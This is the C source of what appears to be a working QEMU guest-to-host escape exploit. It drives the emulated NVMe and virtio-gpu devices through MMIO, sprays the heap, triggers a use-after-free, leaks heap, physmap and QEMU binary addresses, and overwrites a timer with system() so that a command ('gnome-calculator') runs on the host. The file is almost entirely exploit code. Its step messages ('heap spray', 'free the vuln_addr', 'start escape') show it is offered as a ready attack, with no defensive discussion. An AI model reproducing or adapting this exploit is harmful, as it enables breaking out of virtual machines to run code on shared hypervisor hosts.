1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506
| #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <stdlib.h> #include <fcntl.h> #include <assert.h> #include <inttypes.h> #include <sys/mman.h> #include <sys/io.h> #include <unistd.h>
void *mmio_nvme; void *mmio_gpu; void *buf; void *nvme_buf; void *desc_buf; size_t *payload_buf; struct VRingDesc *desc; struct VRingAvail *avail; struct NvmeCmd *nvme_cmd; int sq_tail = 0; int vq_last_avail_idx = 0; char exec_cmd[0x40] = "gnome-calculator";
typedef struct NvmeCmd { uint8_t opcode; uint8_t fuse; uint16_t cid; uint32_t nsid; uint64_t res1; uint64_t mptr; uint64_t prp1; uint64_t prp2; uint32_t cdw10; uint32_t cdw11; uint32_t cdw12; uint32_t cdw13; uint32_t cdw14; uint32_t cdw15; } NvmeCmd;
typedef struct NvmeCreateCq { uint8_t opcode; uint8_t flags; uint16_t cid; uint32_t rsvd1[5]; uint64_t prp1; uint64_t rsvd8; uint16_t cqid; uint16_t qsize; uint16_t cq_flags; uint16_t irq_vector; uint32_t rsvd12[4]; } NvmeCreateCq;
typedef struct NvmeCreateSq { uint8_t opcode; uint8_t flags; uint16_t cid; uint32_t rsvd1[5]; uint64_t prp1; uint64_t rsvd8; uint16_t sqid; uint16_t qsize; uint16_t sq_flags; uint16_t cqid; uint32_t rsvd12[4]; } NvmeCreateSq;
typedef struct NvmeRwCmd { uint8_t opcode; uint8_t flags; uint16_t cid; uint32_t nsid; uint64_t rsvd2; uint64_t mptr; uint64_t prp1; uint64_t prp2; uint64_t slba; uint16_t nlb; uint16_t control; uint32_t dsmgmt; uint32_t reftag; uint16_t apptag; uint16_t appmask; } NvmeRwCmd;
typedef struct NvmeDeleteQ { uint8_t opcode; uint8_t flags; uint16_t cid; uint32_t rsvd1[9]; uint16_t qid; uint16_t rsvd10; uint32_t rsvd11[5]; } NvmeDeleteQ;
typedef struct VRingAvail { uint16_t flags; uint16_t idx; uint16_t ring[]; }VRingAvail;
typedef struct VRingDesc { uint64_t addr; uint32_t len; uint16_t flags; uint16_t next; } VRingDesc;
struct virtio_gpu_ctrl_hdr { uint32_t type; uint32_t flags; uint64_t fence_id; uint32_t ctx_id; uint32_t padding; };
struct virtio_gpu_resource_attach_backing { struct virtio_gpu_ctrl_hdr hdr; uint32_t resource_id; uint32_t nr_entries; };
struct virtio_gpu_resource_create_2d { struct virtio_gpu_ctrl_hdr hdr; uint32_t resource_id; uint32_t format; uint32_t width; uint32_t height; };
struct virtio_gpu_mem_entry { uint64_t addr; uint32_t length; uint32_t padding; };
enum NvmeAdminCommands { NVME_ADM_CMD_DELETE_SQ = 0x00, NVME_ADM_CMD_CREATE_SQ = 0x01, NVME_ADM_CMD_GET_LOG_PAGE = 0x02, NVME_ADM_CMD_DELETE_CQ = 0x04, NVME_ADM_CMD_CREATE_CQ = 0x05, NVME_ADM_CMD_IDENTIFY = 0x06, NVME_ADM_CMD_ABORT = 0x08, NVME_ADM_CMD_SET_FEATURES = 0x09, NVME_ADM_CMD_GET_FEATURES = 0x0a, NVME_ADM_CMD_ASYNC_EV_REQ = 0x0c, NVME_ADM_CMD_ACTIVATE_FW = 0x10, NVME_ADM_CMD_DOWNLOAD_FW = 0x11, NVME_ADM_CMD_FORMAT_NVM = 0x80, NVME_ADM_CMD_SECURITY_SEND = 0x81, NVME_ADM_CMD_SECURITY_RECV = 0x82, };
enum NvmeIoCommands { NVME_CMD_FLUSH = 0x00, NVME_CMD_WRITE = 0x01, NVME_CMD_READ = 0x02, NVME_CMD_WRITE_UNCOR = 0x04, NVME_CMD_COMPARE = 0x05, NVME_CMD_WRITE_ZEROS = 0x08, NVME_CMD_DSM = 0x09, };
#define VIRTIO_PCI_COMMON_STATUS 20 #define VIRTIO_PCI_COMMON_Q_SELECT 22 #define VIRTIO_PCI_COMMON_Q_SIZE 24 #define VIRTIO_PCI_COMMON_Q_ENABLE 28 #define VIRTIO_PCI_COMMON_Q_DESCLO 32 #define VIRTIO_PCI_COMMON_Q_DESCHI 36 #define VIRTIO_PCI_COMMON_Q_AVAILLO 40 #define VIRTIO_PCI_COMMON_Q_AVAILHI 44
#define VRING_DESC_F_NEXT 1
#define VIRTIO_GPU_CMD_RESOURCE_CREATE_2D 0x101 #define VIRTIO_GPU_CMD_RESOURCE_DETACH_BACKING 0x106
#define PAGE_SHIFT 12 #define PAGE_SIZE (1 << PAGE_SHIFT) #define PFN_PRESENT (1ull << 63) #define PFN_PFN ((1ull << 55) - 1)
uint32_t page_offset(uint32_t addr) { return addr & ((1 << PAGE_SHIFT) - 1); }
uint64_t gva_to_gfn(void *addr) { uint64_t pme, gfn; size_t offset; int fd = open("/proc/self/pagemap", O_RDONLY); if (fd < 0) { perror("open"); exit(1); } offset = ((uintptr_t)addr >> 9) & ~7; lseek(fd, offset, SEEK_SET); read(fd, &pme, 8); if (!(pme & PFN_PRESENT)) return -1;
gfn = pme & PFN_PFN; close(fd); return gfn; }
uint64_t gva_to_gpa(void *addr) { uint64_t gfn = gva_to_gfn(addr); assert(gfn != -1); return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr); }
void mmio_nvme_write(uint64_t addr, uint32_t val){ *(uint32_t*)(mmio_nvme + addr) = val; }
void mmio_gpu_write(uint64_t addr, uint32_t val){ *(uint32_t*)(mmio_gpu + addr) = val; }
void init_nvme() { mmio_nvme_write(0x14, 0); mmio_nvme_write(0x24, 0xff00ff); mmio_nvme_write(0x28, gva_to_gpa(nvme_cmd)); mmio_nvme_write(0x2c, gva_to_gpa(nvme_cmd) >> 32);
uint32_t data = 1; data |= 6 << 16; data |= 4 << 20; mmio_nvme_write(0x14, data); }
void nvme_inc_sq_head(){ sq_tail = sq_tail + 1; }
void nvme_create_cq(int cqid){ nvme_cmd[sq_tail].opcode = NVME_ADM_CMD_CREATE_CQ; nvme_cmd[sq_tail].prp1 = gva_to_gpa(nvme_buf);
NvmeCreateCq *nvme_create = (NvmeCreateCq *)(nvme_cmd + sq_tail); nvme_create->cqid = cqid; nvme_create->irq_vector = 1; nvme_create->cq_flags = 1; nvme_create->qsize = 1; nvme_inc_sq_head(); }
void nvme_create_sq(int sqid, int qsize){ nvme_cmd[sq_tail].opcode = NVME_ADM_CMD_CREATE_SQ; nvme_cmd[sq_tail].prp1 = gva_to_gpa(nvme_buf); NvmeCreateSq *nvme_create = (NvmeCreateSq *)(nvme_cmd + sq_tail); nvme_create->cqid = 1; nvme_create->sqid = sqid; nvme_create->sq_flags = 1; nvme_create->qsize = qsize; nvme_inc_sq_head(); }
void nvme_del_sq(int sqid){ nvme_cmd[sq_tail].opcode = NVME_ADM_CMD_DELETE_SQ; NvmeCreateSq *nvme_del = (NvmeCreateSq *)(nvme_cmd + sq_tail); nvme_del->sqid = sqid; nvme_inc_sq_head(); mmio_nvme_write(0x1000, sq_tail); sleep(0.5); }
void vuln(int sqid){ memset(nvme_buf, 0, sizeof(struct NvmeCmd)); nvme_cmd[0].opcode = NVME_CMD_READ; nvme_cmd[0].prp1 = 0xfe000000 + 0xc00; nvme_cmd[0].nsid = 1; NvmeRwCmd *rwcmd = (NvmeRwCmd *)(nvme_cmd); rwcmd->nlb = 7; rwcmd->slba = 1; mmio_nvme_write(0x1000 + sqid * 8, 1); }
void init_gpu(){ mmio_gpu_write(VIRTIO_PCI_COMMON_STATUS, 0); mmio_gpu_write(VIRTIO_PCI_COMMON_Q_SELECT, 0); mmio_gpu_write(VIRTIO_PCI_COMMON_Q_SIZE, 0x100); mmio_gpu_write(VIRTIO_PCI_COMMON_Q_DESCLO, gva_to_gpa(desc)); mmio_gpu_write(VIRTIO_PCI_COMMON_Q_DESCHI, 0); mmio_gpu_write(VIRTIO_PCI_COMMON_Q_AVAILLO, gva_to_gpa(avail)); mmio_gpu_write(VIRTIO_PCI_COMMON_Q_AVAILHI, 0); mmio_gpu_write(VIRTIO_PCI_COMMON_Q_ENABLE, 0); }
void set_mapping_table(){ avail->idx = 2; avail->ring[vq_last_avail_idx ++] = 0; avail->ring[vq_last_avail_idx ++] = 1;
struct virtio_gpu_resource_create_2d *c2d = buf + 0x100; c2d->hdr.type = VIRTIO_GPU_CMD_RESOURCE_CREATE_2D; c2d->resource_id = 1; c2d->format = 1; c2d->width = 0x100; c2d->height = 0x100;
struct virtio_gpu_resource_attach_backing *ab = buf + 0x200; ab->hdr.type = VIRTIO_GPU_CMD_RESOURCE_DETACH_BACKING; ab->resource_id = 1; ab->nr_entries = 20; struct virtio_gpu_mem_entry *ents = buf + 0x300; ents[0].addr = gva_to_gpa(payload_buf + 2); ents[0].length = 0x100; ents[1].addr = 0; ents[1].length = 0;
desc[0].flags = 0; desc[0].addr = gva_to_gpa(c2d); desc[0].len = sizeof(struct virtio_gpu_resource_create_2d);
desc[1].flags = VRING_DESC_F_NEXT; desc[1].addr = gva_to_gpa(ab); desc[1].len = sizeof(struct virtio_gpu_resource_attach_backing); desc[1].next = 2; for(int i = 2; i < 20; i++){ desc[i].flags = VRING_DESC_F_NEXT; desc[i].addr = gva_to_gpa(ents); desc[i].len = sizeof(struct virtio_gpu_mem_entry); desc[i].next = i + 1; } desc[7].addr = gva_to_gpa(ents + 1); desc[20].flags = 0; desc[20].addr = gva_to_gpa(buf + 0x40); desc[20].len = 0x20;
mmio_gpu_write(0x3000, 0); }
void set_mapping_table1(){ avail->idx = 3; avail->ring[vq_last_avail_idx ++] = 0;
struct virtio_gpu_resource_create_2d *c2d = buf + 0x100; c2d->hdr.type = VIRTIO_GPU_CMD_RESOURCE_CREATE_2D; c2d->resource_id = 2; c2d->format = 1; c2d->width = 0x100; c2d->height = 0x100;
struct virtio_gpu_resource_attach_backing *ab = buf + 0x200; ab->hdr.type = VIRTIO_GPU_CMD_RESOURCE_DETACH_BACKING; ab->resource_id = 2; ab->nr_entries = 20; desc[0].flags = VRING_DESC_F_NEXT; desc[0].addr = gva_to_gpa(c2d); desc[0].len = sizeof(struct virtio_gpu_resource_create_2d); desc[0].next = 1; for(int i = 1; i < 21; i++){ desc[i].flags = VRING_DESC_F_NEXT; desc[i].addr = gva_to_gpa(exec_cmd); desc[i].len = 0x20; desc[i].next = i + 1; }
desc[21].flags = 0; desc[21].addr = gva_to_gpa(exec_cmd); desc[21].len = 0x20;
mmio_gpu_write(0x3000, 0); }
void set_mapping_table2(){ avail->idx = 5; avail->ring[vq_last_avail_idx ++] = 0; avail->ring[vq_last_avail_idx ++] = 1;
struct virtio_gpu_resource_create_2d *c2d = buf + 0x100; c2d->hdr.type = VIRTIO_GPU_CMD_RESOURCE_CREATE_2D; c2d->resource_id = 3; c2d->format = 1; c2d->width = 0x100; c2d->height = 0x100;
struct virtio_gpu_resource_attach_backing *ab = buf + 0x200; ab->hdr.type = VIRTIO_GPU_CMD_RESOURCE_DETACH_BACKING; ab->resource_id = 3; ab->nr_entries = 20; struct virtio_gpu_mem_entry *ents = buf + 0x300; ents[0].addr = gva_to_gpa(payload_buf + 2); ents[0].length = 0x100; ents[1].addr = 0; ents[1].length = 0;
desc[0].flags = 0; desc[0].addr = gva_to_gpa(c2d); desc[0].len = sizeof(struct virtio_gpu_resource_create_2d);
desc[1].flags = VRING_DESC_F_NEXT; desc[1].addr = gva_to_gpa(ab); desc[1].len = sizeof(struct virtio_gpu_resource_attach_backing); desc[1].next = 2; for(int i = 2; i < 20; i++){ desc[i].flags = VRING_DESC_F_NEXT; desc[i].addr = gva_to_gpa(ents); desc[i].len = sizeof(struct virtio_gpu_mem_entry); desc[i].next = i + 1; } desc[7].addr = gva_to_gpa(ents + 1); desc[20].flags = 0; desc[20].addr = gva_to_gpa(buf + 0x40); desc[20].len = 0x20;
mmio_gpu_write(0x3000, 0); }
int main(){ int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); mmio_nvme = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); int mmio_fd1 = open("/sys/devices/pci0000:00/0000:00:05.0/resource4", O_RDWR | O_SYNC); mmio_gpu = mmap(0, 0x4000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd1, 0);
buf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); memset(buf, 0, 0x1000); avail = buf; payload_buf = buf + 0x400;
desc_buf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); memset(desc_buf, 0, 0x1000); desc = desc_buf;
nvme_buf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); memset(nvme_buf, 0, 0x1000); nvme_cmd = nvme_buf;
puts("[*] STEP 1 heap spray"); init_nvme(); sleep(1); for(int i = 1; i < 0x28; ++i){ nvme_create_cq(i); } mmio_nvme_write(0x1000, sq_tail); sleep(1); puts("[*] STEP 2 set mapping table for free"); init_gpu(); set_mapping_table(); sleep(1); nvme_create_sq(1, 1); nvme_create_sq(2, 1); mmio_nvme_write(0x1000, sq_tail); sleep(1);
puts("[*] STEP 3 free the vuln_addr"); payload_buf[1] = 0x291; payload_buf[0x53] = 0x21; vuln(2); sleep(1); size_t leak_heap_addr = payload_buf[2]; printf("[*] leak_heap_addr_is %#lx\n", leak_heap_addr);
puts("[*] STEP 4 leak host's physmap addr in qemu"); set_mapping_table1(); sleep(1); size_t physmap_addr = payload_buf[0x28]; size_t physmap_base = physmap_addr - gva_to_gpa(exec_cmd); printf("[*] leak_host_physmap_addr_is %#lx\n", physmap_addr); sleep(1); puts("[*] STEP 5 free vuln_addr"); payload_buf = buf + 0x800; set_mapping_table2(); nvme_create_sq(3, 1); nvme_create_sq(4, 1); mmio_nvme_write(0x1000, sq_tail); sleep(1); payload_buf[1] = 0x41; payload_buf[9] = 0x21; vuln(4); sleep(1); nvme_create_sq(5, 1); mmio_nvme_write(0x1000, sq_tail); sleep(1);
puts("[*] STEP 6 leak qemu addr and hijack timer"); size_t elf_addr = payload_buf[4]; size_t elf_base = elf_addr - 0x517c76; size_t system_plt = elf_base + 0x2bc790; printf("[*] leak_elf_addr_is %#lx\n", elf_addr); payload_buf[4] = system_plt; payload_buf[5] = physmap_addr; puts("[*] start escape"); mmio_nvme_write(0x1000 + 5 * 8, 1); }
|